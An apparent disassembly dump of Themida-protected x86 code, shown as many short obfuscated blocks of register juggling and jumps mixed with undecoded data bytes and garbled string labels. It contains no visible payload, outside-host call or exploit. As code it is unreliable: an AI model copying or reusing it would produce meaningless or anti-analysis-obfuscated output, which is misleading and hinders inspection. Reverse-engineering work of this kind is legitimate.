		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	2
		mov	ebp, [esp]
		jmp	loc_5537D6
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 488E56B1h, 2764F181h, 11E9D75Eh, 0B100009Ah,	1DAEE9B3h
		dd 0C8050000h, 3541177Dh, 84127B67h, 0C158C189h, 0E94106E9h
		dd 172Fh, 2D9CBD55h, 33E90BFDh,	0BD0000C4h, 20E119D4h
		dd 4246C31h, 83242C8Bh,	34FF04C4h, 24048B24h, 8304C483h
		dd 2FE904C4h, 80FFFFD3h, 0A00470E9h, 0A02CC828h, 53C80059h
		dd 0D80070B3h, 81241C8Bh, 4C4h,	68665900h, 55E91642h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556E43:				; CODE XREF: Themida_:0055CB29j
		xor	ebp, [esp]
		pop	esp
		xor	eax, 419037F4h
		push	edx
		push	eax
		mov	eax, 9826C7Bh
		mov	edx, 5074B74Eh
		jmp	loc_564358
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 89DBE900h, 0FFB80000h,	89FFFFFFh, 0F02958C6h
		dd 0CAE7E95Eh, 0B9510000h, 56D70AC8h, 0E29E9h, 38E06800h
		dd 14890000h, 2BF5724h,	57000000h, 0DCCAE95Ah, 0EC81FFFFh
		dd 4, 7F79E9h
		db 0
; ---------------------------------------------------------------------------


loc_556EA5:				; CODE XREF: Themida_:0055CFD6j
		sub	edi, esi
		pop	esi
		and	ecx, edi
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_55C0EE
; ---------------------------------------------------------------------------


loc_556EB5:				; CODE XREF: Themida_:0055651Aj
		and	ebp, 2FBA5FA2h
		xor	ebp, 11DA4E2Ch
		jmp	loc_55E44E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835D24h, 1C39E904h, 14890000h, 2474FF24h,	24148B04h
		dd 0E904C483h, 153Fh, 0FDA1E981h, 0CA09A9F6h, 8DB85059h
		dd 0E921252Fh, 0FFFFFD01h, 0E95BDE29h, 0E7CBh
; ---------------------------------------------------------------------------


loc_556F00:				; CODE XREF: Themida_:0055F7D7j
		xchg	edi, [esp]
		pop	esp
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_559077
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 81h
		dd 45C287C2h, 5AD129E5h, 0BD55D901h, 2E8002B2h,	26E6F581h
		dd 0BB531D0Dh, 1E9C12C4h, 97E95043h, 590000DEh,	279CE9h
		dd 0E9484000h, 0FFFFAC80h
; ---------------------------------------------------------------------------


loc_556F44:				; CODE XREF: Themida_:0056071Fj
		push	cx
		mov	cl, 0Dh
		sub	dl, cl
		mov	cx, [esp]
		add	esp, 2
		shl	dl, 4
		jmp	loc_56634E
; ---------------------------------------------------------------------------
		dd 0FFA6C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556F61:				; CODE XREF: Themida_:005646CFj
		jmp	loc_551628
; ---------------------------------------------------------------------------


loc_556F66:				; CODE XREF: Themida_:0055A41Bj
		push	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 24590497h
		dec	ecx
		shl	ecx, 2
		neg	ecx
		or	ecx, 4F417293h
		jmp	loc_55F311
; ---------------------------------------------------------------------------


loc_556F94:				; CODE XREF: Themida_:00553D45j
		mov	ecx, esp
		jmp	loc_55A403
; ---------------------------------------------------------------------------


loc_556F9B:				; CODE XREF: Themida_:00551A97j
		mov	[esp], ebx
		push	1266h
		mov	[esp], ebp
		mov	ebp, 16EE0AF2h
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		not	edi
		jmp	loc_565745
; ---------------------------------------------------------------------------


loc_556FB8:				; CODE XREF: Themida_:00553E3Ej
		mov	edx, 1BB02D94h
		jmp	loc_552C53
; ---------------------------------------------------------------------------


loc_556FC2:				; CODE XREF: Themida_:00553CECj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 295502C8h
		shl	ecx, 1
		sub	ecx, 0E169F246h
		jmp	loc_559A5B
; ---------------------------------------------------------------------------


loc_556FDA:				; CODE XREF: Themida_:00561B8Aj
		mov	[esp], ecx
		push	4F0Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_559719
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0BDh
		dd 815E820Dh, 15B047C5h, 5DEE2980h, 8B243487h, 0C892424h
		dd 68926824h, 9FE90000h, 8B0000A3h, 0EC832404h,	49BFE904h
		dd 0D680000h, 0E9000042h, 0FFFFE983h, 0E95AD001h, 43A7h
		dd 49468h, 241C8900h, 2E5BC2BBh, 91BDE948h, 0E4800000h
		dd 66B652F5h, 93E9E9h, 4C48300h, 372668h, 24148900h, 8904EC83h
		dd 61BB241Ch, 8921E87Bh, 241C8BDAh, 6804C483h, 4F06h, 0E9243C89h
		dd 0FFFFEE19h, 986E981h, 0D1011D9Ah, 986C181h, 0E95A1D9Ah
		dd 442Ah
; ---------------------------------------------------------------------------


loc_55708C:				; CODE XREF: Themida_:005603C3j
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, edi
		push	dword ptr [esp]
		jmp	loc_560217
; ---------------------------------------------------------------------------
		db 80h
		dd 0B05046EEh, 4C0FED0h, 58C63045h, 0F65AF128h,	66F7E9D9h
		dd 68570000h, 640118ABh, 0D3C7815Fh, 0D1057B2Ah, 0CFC781E7h
		dd 810C0831h, 1C9673F7h, 0E9F98936h, 87DCh, 81E68956h
		dd 4C6h, 48E95300h, 290000A1h, 0C7815EF7h, 7DE42B46h, 0C1E9CF01h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5570F7:				; CODE XREF: Themida_:0055FC0Aj
		inc	edx
		jmp	loc_55C777
; ---------------------------------------------------------------------------


loc_5570FD:				; CODE XREF: Themida_:00561147j
		add	esp, 4
		xor	al, dh
		mov	dx, [esp]
		push	4872h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_554328
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9DE9241Ch, 0F7000064h, 9FE940D0h, 57000085h,	7FC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55712D:				; CODE XREF: Themida_:005598E0j
		sub	esi, eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_55DA24
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 0DE010000h, 83241C8Bh, 348704C4h, 0BAE95C24h
		dd 81FFFFC7h, 4C1h, 240C8700h, 0E089505Ch, 77EBE9h, 5DEA8100h
		dd 0E9583115h, 0FFFFB392h, 74FF575Dh, 8F5F0424h, 89E92404h
		dd 800000D2h, 0C68060C7h, 0A2CCE983h, 8B660000h, 62682404h
		dd 89000061h, 1C68240Ch, 54000058h, 8324048Fh, 59042404h
		dd 478A68h, 243C8900h, 7C76D968h, 0A0E95F3Fh
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5571C7:				; CODE XREF: Themida_:0055306Fj
		sub	ecx, 7A964B4Dh
		pop	edx
		sub	ecx, 1B409E1h
		jmp	loc_56616B
; ---------------------------------------------------------------------------
		db 68h,	0E5h, 66h
		dd 3E90000h, 31000003h,	0C6315FF8h, 8324048Bh, 0F10104C4h
		dd 74FF515Eh, 8F590424h, 665C2404h, 6866E1F7h, 896635F3h
		dd 50662414h, 0A41AE99Ch, 0D6F7FFFFh, 9FE1C681h, 0F2296B44h
		dd 0DA29595Eh, 32ABC281h, 1C8B7B80h, 17E95224h,	8100009Ch
		dd 4EAh, 24143300h, 33241431h, 248B2414h, 24048924h, 0FFA3E3E9h
		dd 4C483FFh, 2C96C781h,	0C7012A1Dh, 2C96EF81h, 0BE562A1Dh
		dd 190629Fh, 1F62E9h, 81E68900h, 4C6h, 4EC8300h, 0B8240489h
		dd 1FF96DA4h, 2932CD05h, 60853515h, 7E252A01h, 504B3756h
		dd 0E9241CF7h, 0A6D0h, 0CC77472Dh, 5F8291Fh, 1FCC7747h
		dd 83243C8Bh, 7DE904C4h, 0BAFFFFEBh, 17D577B0h,	0E2C1DAF7h
		dd 0E2814A07h, 23466A41h, 532DF281h, 0C2815DD2h, 4EE381h
		dd 15AD101h, 7F34E9E9h,	8B580000h, 8950241Ch, 405E0h, 0C0830000h
		dd 7DC6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5572DE:				; CODE XREF: Themida_:00554C5Bj
		mov	[esp], ecx
		mov	ecx, 10058514h
		add	ebp, ecx
		pop	ecx
		sub	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		push	ebx
		push	esi
		mov	esi, 62A4656Ch
		mov	ebx, 4BFA783Ch
		xor	ebx, esi
		pop	esi
		mov	esi, 0D6A1E2B4h
		add	esi, 590A32F8h
		add	esi, ebx
		jmp	loc_5601C3
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0D06E9D8h, 48F0000h,	34895C24h, 5C76E924h, 3C870000h
		dd 0D3F8E924h, 0D7F7FFFFh, 0C681FE87h, 0DBF7B7C5h, 348BF701h
		dd 0E1895124h, 3473E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55E330
; ---------------------------------------------------------------------------


loc_557351:				; CODE XREF: Themida_:0055D85Cj
		and	eax, ecx
		pop	ecx
		shr	eax, 18h
		jmp	loc_55A0F7
; ---------------------------------------------------------------------------
		dd 0BC68h, 8B51E900h, 88510000h, 59CA88E1h, 31F28058h
		dd 66C6E9h, 1C77FF00h, 0D359669Dh, 0E99C2414h, 0FFFFA2A4h
		dd 4BBh, 5BD88900h, 3358C601h, 34312434h, 0D1EEE924h, 815E0000h
		dd 4C37EBE9h, 0E9C10148h, 7819h, 0E924248Bh, 0FFFFA278h
; ---------------------------------------------------------------------------


loc_5573B0:				; CODE XREF: Themida_:005523FCj
		sub	dword ptr [esp+4], 270112CFh
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_556B0F
; ---------------------------------------------------------------------------
aAixhte		db 'ۑxhTE',0
		dw 8900h
		dd 0E189240Ch, 4C181h, 0E9810000h, 4, 8B240C87h, 6E92424h
		dd 50FFFFF8h, 88F98851h, 885359CCh, 0F88850E7h,	5B58C688h
		dd 8BF18858h, 0C4812414h, 4, 0F5B35Bh, 0D83059CBh, 0F8C3805Bh
		dd 408C6852h, 4890000h,	0E9B7B024h, 0DE00h, 2473BF57h
		dd 0F901CDEBh, 81243C8Bh, 4C4h,	8BCE0100h, 84E9240Ch
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55743F:				; CODE XREF: Themida_:0055FDF4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_558788
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 68572404h, 0F7Ch, 89241489h,	4C281E2h, 50000000h, 4B8h
		dd 58C22900h, 5C241487h, 24048F54h, 4B951h, 0BE560000h
		dd 3B346441h, 8247401h,	8324348Bh, 6C8104C4h, 1B2B0424h
		dd 4C012F38h, 31E90424h, 450000BEh, 0C581DDF7h,	32DF4D12h
		dd 729BBF57h, 0E7D17363h, 74F6EF81h, 52E95D05h,	5E0000A9h
		dd 3473E9h
		db 0
; ---------------------------------------------------------------------------


loc_5574C9:				; CODE XREF: Themida_:00556185j
		push	esi
		jmp	loc_55A5BF
; ---------------------------------------------------------------------------
		db 1
		dd 0F20159CEh, 4C2815Eh, 81000000h, 4ECh, 43FE900h, 2C890000h
		dd 0FBFFBD24h, 6F21FFFFh, 242C8B1Ch, 190868h, 242C8900h
		dd 73F3E9h, 4A53B900h, 4C290551h, 1590824h, 8104245Ch
		dd 53042444h, 5605514Ah, 0BF007CBEh, 2474295Ah,	1C8B5E08h
		dd 0ECC6E924h, 0BB53FFFFh, 52B12A41h, 3630BF57h, 0C7812AFEh
		dd 4F1E213Fh, 4E98E781h, 0D6E9081Bh, 6600008Bh,	2404BB0Fh
		dd 0A0D6E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557552:				; CODE XREF: Themida_:00559760j
		sub	ebp, 3F2873DFh
		or	ebp, 1B8D3AAAh
		not	ebp
		xor	ebp, 47238E2h
		sub	ebp, 0A7BA66EAh
		add	ebx, 1E964EFCh
		sub	ebx, ebp
		sub	ebx, 1E964EFCh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55EE61
; ---------------------------------------------------------------------------
		dd 874EF587h, 0DEDCE9F5h, 0C481FFFFh, 4, 40B6866h, 24148966h
		dd 0D3006AB2h, 90D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5575A9:				; CODE XREF: Themida_:00551DF1j
		mov	edx, [esp]
		jmp	loc_5599C2
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 64BE565Fh, 8174AF19h, 3D6A7CCEh, 95EEE94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5575CA:				; CODE XREF: Themida_:0055A4E0j
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, edi
		pop	edi
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_55D69B
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	42F5h
		jmp	loc_562B7E
; ---------------------------------------------------------------------------


loc_5575FB:				; CODE XREF: Themida_:005608ACj
		xor	edi, ebx
		pop	ebx
		jmp	loc_55E610
; ---------------------------------------------------------------------------


loc_557603:				; CODE XREF: Themida_:0055AE22j
		mov	[esp], edi
		push	2BD5h
		mov	[esp], edx
		mov	edx, esi
		mov	edi, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_553B11
; ---------------------------------------------------------------------------


loc_55761D:				; CODE XREF: Themida_:00557A7Bj
		pop	edx
		xor	ecx, ebx
		pop	ebx
		push	2E83h
		mov	[esp], esi
		jmp	loc_563622
; ---------------------------------------------------------------------------
		dw 8358h
		dd 40504C4h, 68000000h,	3E0Ah, 51241C89h, 97E95156h, 5100005Ch
		dd 0C181E189h, 4, 4BF57h, 0F9290000h, 4EC815Fh,	89000000h
		dd 74FF240Ch, 0FDE90424h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55766B:				; CODE XREF: Themida_:00552ACFj
		pop	esp
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 4Ah,	87h, 0EAh
		dd 0EA87D5F7h, 0E906EAC1h, 0FFFFE240h
; ---------------------------------------------------------------------------


loc_557680:				; CODE XREF: Themida_:0055D6C2j
		pop	edi
		and	edi, 26541740h
		neg	edi
		add	edi, 3C1B6660h
		jmp	loc_564AB3
; ---------------------------------------------------------------------------


loc_557694:				; CODE XREF: Themida_:0055DBF7j
		mov	[esp], ecx
		jmp	loc_5631C0
; ---------------------------------------------------------------------------
		dd 1C685356h, 5B2EB721h, 521F381h, 814B0858h, 0D51E85E3h
		dd 3CF38107h, 8958B911h, 0F5095BDEh, 0BBBDE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5576C2:				; CODE XREF: Themida_:00561499j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5557FC
; ---------------------------------------------------------------------------
aWsvs		db 'Wévs',0
		dw 8100h
		dd 2C595CF5h, 528CE92Eh, 4BE0000h, 0E9000000h, 0FFFFABFEh
		dd 7B00B951h, 0E1C16442h, 0D4E98105h, 2D7FBD1Dh, 183E2460h
		dd 6005C829h, 0E9183E24h, 111Eh, 242C335Fh, 33242C31h
		dd 248B242Ch, 4C18124h,	68000000h, 38B9h, 0E9241489h, 0EBA5h
; ---------------------------------------------------------------------------


loc_557728:				; CODE XREF: Themida_:00564D90j
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebx
		push	14F77C85h
		pop	ebx
		jmp	loc_55ECC8
; ---------------------------------------------------------------------------
aYsdc		db 'YédC',0
		dw 0C100h
		dd 0ED8106EDh, 0CB0552DCh, 815DEA01h, 3B27FFC2h, 81FA0166h
		dd 3B27FFEAh, 0EBDFE966h, 8B66FFFFh, 0EC81240Ch, 4, 37C7E9h
		dd 4C78100h, 83000000h,	3C8704C7h, 9F3CE924h, 1505FFFFh
		dd 2972837Eh, 7E152DD8h, 0B9517283h, 61052EF1h,	0D9F7D9F7h
		dd 3C72BE56h, 0F6813326h, 0BF90DBDh, 535EF131h,	0B70896BBh
		dd 5BD92909h, 0C8BC801h, 55E2E924h, 215E0000h, 814F58C7h
		dd 1B55E6EFh, 5EFC14Dh,	510EF81h, 0EE81DEB0h, 0DE178A2h
		dd 59E9FE01h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5577DB:				; CODE XREF: Themida_:0055226Dj
		mov	[esp], esi
		push	310h
		mov	[esp], ebp
		mov	ebp, 33243C6Bh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55BE4F
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0F2h
		dd 92848789h, 3ADABB53h, 0DA316F0Ch, 0FFE24DE9h, 8FEB81FFh
		dd 563B5175h, 0E66EB7BEh, 5EF32118h, 6750F381h,	0DF895C74h
		dd 375B95Bh, 0F9314C34h, 51243C8Bh, 0C181E189h,	4, 8704C183h
		dd 15C240Ch, 5904244Ch,	0FF9DDFE9h, 0E95351FFh,	1626h
; ---------------------------------------------------------------------------


loc_557850:				; CODE XREF: Themida_:0055359Fj
		mov	edx, [esp]
		push	eax
		jmp	loc_5646B3
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_563554
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 0E055E900h, 0BA520000h, 4C312DF5h, 0FFDD29E9h
		dd 13E955FFh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55787F:				; CODE XREF: Themida_:00560D3Ej
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 641E4C5Eh
		push	0A2Ch
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		push	488D1A15h
		mov	edi, [esp]
		add	esp, 4
		inc	edi
		jmp	loc_5529ED
; ---------------------------------------------------------------------------


loc_5578AF:				; CODE XREF: Themida_:00551651j
		push	4B9545C7h
		pop	ebp
		sub	ebp, 727366E2h
		shr	ebp, 2
		jmp	loc_55DE8C
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 875AD101h, 815C240Ch, 4C4h, 8BF80100h, 0F468243Ch
		dd 8900004Dh, 0E6892434h, 4C681h, 0C6810000h, 4, 0E9243433h
		dd 670Eh
; ---------------------------------------------------------------------------


loc_5578F8:				; CODE XREF: Themida_:00551B22j
		mov	[esp], ecx
		push	esp
		jmp	loc_55C53B
; ---------------------------------------------------------------------------
aItusej		db '‰âUéE†',0
		dd 81DEF700h, 0B01D85C6h, 0AA7DE972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557916:				; CODE XREF: Themida_:0055CD73j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, edi
		pop	edi
		jmp	loc_565FEF
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 42474FFh, 0FFDEB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557931:				; CODE XREF: Themida_:0055EE50j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_557A93
; ---------------------------------------------------------------------------
		db 43h
		dd 68h,	6A60E900h, 53590000h, 4B76E9h, 55E68900h, 521B37BDh
		dd 0EC834D17h, 242C8904h, 0EADBE9h
		db 0
; ---------------------------------------------------------------------------


loc_557965:				; CODE XREF: Themida_:0056337Bj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [edi+24h]
		add	dword ptr [edi+24h], 7EDF2757h
		pop	ebx
		xor	edx, edx
		jmp	loc_559A84
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 3Dh
		dd 53FFFFABh, 0EB80F4B3h, 0D2EB8021h, 0E3C0DBF6h, 0B9EB8005h
		dd 0FFE4C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5579A9:				; CODE XREF: Themida_:00563E32j
		add	ebx, 0A09162E9h
		sub	esi, ebx
		pop	ebx
		sub	ebx, esi
		pop	esi
		push	ebx
		xor	dword ptr [esp], 78C80AADh
		pop	edx
		xor	edx, 78C80AADh
		pop	ebx
		push	edi
		mov	edi, 65FC3F4Ah
		jmp	loc_566104
; ---------------------------------------------------------------------------
		dd 5007BF66h, 66FD8966h, 83243C8Bh, 0C16602C4h,	816603E5h
		dd 6630D2EDh, 666DDD68h, 0E9242C89h, 57EFh
; ---------------------------------------------------------------------------


loc_5579F4:				; CODE XREF: Themida_:00561D0Aj
		pop	ebx
		add	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		sub	ecx, 59F1306Fh
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5518E4
; ---------------------------------------------------------------------------
		db 88h,	0D8h, 8Bh
		dd 95E9241Ch, 54000046h, 0FFC9A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557A29:				; CODE XREF: Themida_:00555D3Aj
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	65E8h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55A9B7
; ---------------------------------------------------------------------------
		align 2
aSI		db 'Èé|‰',0
		align 4
		dd 0BE56E289h, 450F55A1h, 4639F681h, 0EE8103D6h, 3C3710E1h
		dd 0E908EEC1h, 0FFFFFEA1h, 0E9241C8Bh, 707Eh, 51241C89h
		dd 0A5FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_557A79:				; CODE XREF: Themida_:00566523j
		add	ebx, edx
		jmp	loc_55761D
; ---------------------------------------------------------------------------
		dd 0AAEE8159h, 0E9B9F8B5h, 0FFFFBF6Dh
; ---------------------------------------------------------------------------


loc_557A8C:				; CODE XREF: Themida_:0055B1EFj
		neg	edx
		jmp	loc_55279D
; ---------------------------------------------------------------------------


loc_557A93:				; CODE XREF: Themida_:0055793Aj
		pop	esp


loc_557A94:				; CODE XREF: Themida_:loc_55A6E7j
					; Themida_:0055F2EFj
		push	edx
		push	5DD3h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24h
		push	edx
		pop	ebp
		pop	edx
		jmp	loc_55EF8C
; ---------------------------------------------------------------------------
		db 52h
		dd 882CB551h, 0E95059EAh, 0FFFFB1BFh, 240C8B66h, 41D168h
		dd 24048900h, 83575854h, 0C8904ECh, 62626824h, 535930BBh
		dd 1AEEE9h, 5AD63100h, 614DE9h,	4EDC000h, 24E9h, 2434FF00h
		dd 1CBDE9h, 0CAA6800h, 2C890000h, 815D5424h, 4C5h, 4C58300h
		dd 5C242C87h, 7EDCE9h, 0E9CDFE00h, 0D4C5h
; ---------------------------------------------------------------------------


loc_557B1C:				; CODE XREF: Themida_:0055E763j
		mov	bl, 40h
		push	eax
		push	ebx
		push	eax
		mov	al, 0B1h
		mov	bl, 0Ah
		jmp	loc_561634
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 14F7515Bh, 9AE95924h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B37:				; CODE XREF: Themida_:00555132j
		neg	bh
		jmp	loc_557BE9
; ---------------------------------------------------------------------------
		dw 0CF31h
		dd 0CF31F931h, 53240C8Bh, 0C381E389h, 4, 4C381h, 0DCE90000h
		dd 89FFFFD5h, 0E9552404h, 0FFFFF29Bh
; ---------------------------------------------------------------------------


loc_557B64:				; CODE XREF: Themida_:00552D97j
		and	edi, 40061840h
		sub	edi, 1
		push	esi
		push	76EAh
		mov	[esp], esp
		jmp	loc_564A11
; ---------------------------------------------------------------------------
		db 0BDh
		dd 23AE631Ch, 0E959CD31h, 2159h
; ---------------------------------------------------------------------------


loc_557B88:				; CODE XREF: Themida_:00558D17j
		sub	esp, 4
		mov	[esp], edx
		push	5988h
		mov	[esp], edi
		jmp	loc_55583F
; ---------------------------------------------------------------------------
		db 81h
		dd 817A69C1h, 0DCD1E975h, 0F793FFFFh, 429293D3h, 0E233E992h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557BB2:				; CODE XREF: Themida_:005586E1j
		push	4278h
		mov	[esp], eax
		jmp	loc_552DF1
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1FDC4A2Ah, 315AD609h, 31F331DEh, 56D3F7DEh, 0ADE95E53h
		dd 66000027h, 6824048Bh, 25B2h,	54240489h, 0FFD817E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557BE9:				; CODE XREF: Themida_:00557B39j
		inc	bh
		add	bh, 0E8h
		push	dx
		jmp	loc_55DA76
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 18h
		dd 8146063Fh, 881B49C3h, 0A3C38122h, 1DD73D0h, 0C5835BDDh
		dd 242C3304h, 33242C31h, 248B242Ch, 0C8B95124h,	0E903876Fh
		dd 0FFFFDAC5h
; ---------------------------------------------------------------------------


loc_557C24:				; CODE XREF: Themida_:0055AD03j
		sub	eax, 71B6CCCh
		mov	edx, [esp]
		add	esp, 4
		sub	eax, edx
		add	eax, 5A356F03h
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5561DC
; ---------------------------------------------------------------------------


loc_557C48:				; CODE XREF: Themida_:0056225Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_553201
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E6895624h, 4C681h, 0EE830000h, 24348704h, 2404895Ch
		dd 72EA68h, 24248900h, 6CD6E9h,	24148900h, 0FFAE70E9h
		dd 0D78859FFh, 8BF9285Ah, 0C481241Ch, 4, 80F4B151h, 10E9C7C1h
		dd 81000019h, 0F49824C7h, 0FFFB01AEh, 3C8B2434h, 39DEE924h
		dd 0BD550000h, 3FAD3559h, 0E95DE921h, 4FBAh, 4C481h, 48F0000h
		dd 0CA8CE924h, 0C3890000h, 6253E9h, 2DE94F00h, 830000B6h
		dd 0D52904C4h, 5DEB015Ah, 4C381h, 1C870000h, 0A5685C24h
		dd 0E900002Eh, 0FFFFC14Fh, 9E941B3h, 810000C6h,	4C4h, 59CB8900h
		dd 0F25C381h, 0FB010B9Ah, 0F25EB81h, 0E6680B9Ah, 89000034h
		dd 1F68240Ch, 0E900005Dh, 1149h, 98FEE95Ch, 5657FFFFh
		dd 0C36B4DBEh, 5EF78928h, 8104E7C1h, 5B62EBCFh,	0A265E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D42:				; CODE XREF: Themida_:0055EC69j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 5Ah,	0C1h, 0E6h
		dd 74EE8104h, 56FF7178h, 0CF240481h, 5B23024Fh,	4FCFEB81h
		dd 0E95E2302h, 0FFFF99F3h, 0FF2434FFh, 0C8B2434h, 6506E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D8E:				; CODE XREF: Themida_:00554C90j
		push	ebx
		jmp	loc_5625D1
; ---------------------------------------------------------------------------


loc_557D94:				; CODE XREF: Themida_:0055F41Fj
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 29FE56EAh
		jmp	loc_56413B
; ---------------------------------------------------------------------------


loc_557DA2:				; CODE XREF: Themida_:00552008j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55961D
; ---------------------------------------------------------------------------


loc_557DB0:				; CODE XREF: Themida_:005555EAj
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_55A841
; ---------------------------------------------------------------------------


loc_557DBB:				; CODE XREF: Themida_:0056370Bj
		xor	edi, ebx
		jmp	loc_55F9B4
; ---------------------------------------------------------------------------
a8ysob		db '½^,8yéO¡',0
		align 4
		dd 5EF12959h, 8124048Bh, 4C4h, 20E8E900h, 48B0000h, 0C43DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557DE6:				; CODE XREF: Themida_:00560089j
		push	esi
		push	0D39F26A1h
		jmp	loc_55F78B
; ---------------------------------------------------------------------------
		db 58h,	81h, 0EBh
		dd 4, 31241C33h, 1C33241Ch, 3CF8E924h, 0EAC10000h, 97F28105h
		dd 10F9D42h, 4E5D5AD6h,	81FFEE83h, 1A1425CEh, 4EEC128h
		dd 68h,	24342900h, 91EE815Eh, 1864FF7h,	24348BF3h, 0E904C483h
		dd 0BB74h, 1428BF57h, 684C0Dh, 29000000h, 7EE9243Ch, 0BEFFFF9Dh
		dd 0C2389318h, 3159CE29h, 8B042474h, 0C4832434h, 0B8505A04h
		dd 5D873441h, 0E906E8C1h, 7FD9h
; ---------------------------------------------------------------------------


loc_557E70:				; CODE XREF: Themida_:0055FF9Cj
		sub	ebx, ebp
		jmp	loc_558A48
; ---------------------------------------------------------------------------
		db 81h
		dd 2C7h, 243C8700h, 2404FE5Ch, 979EE99Ch
		db 2 dup(0FFh)
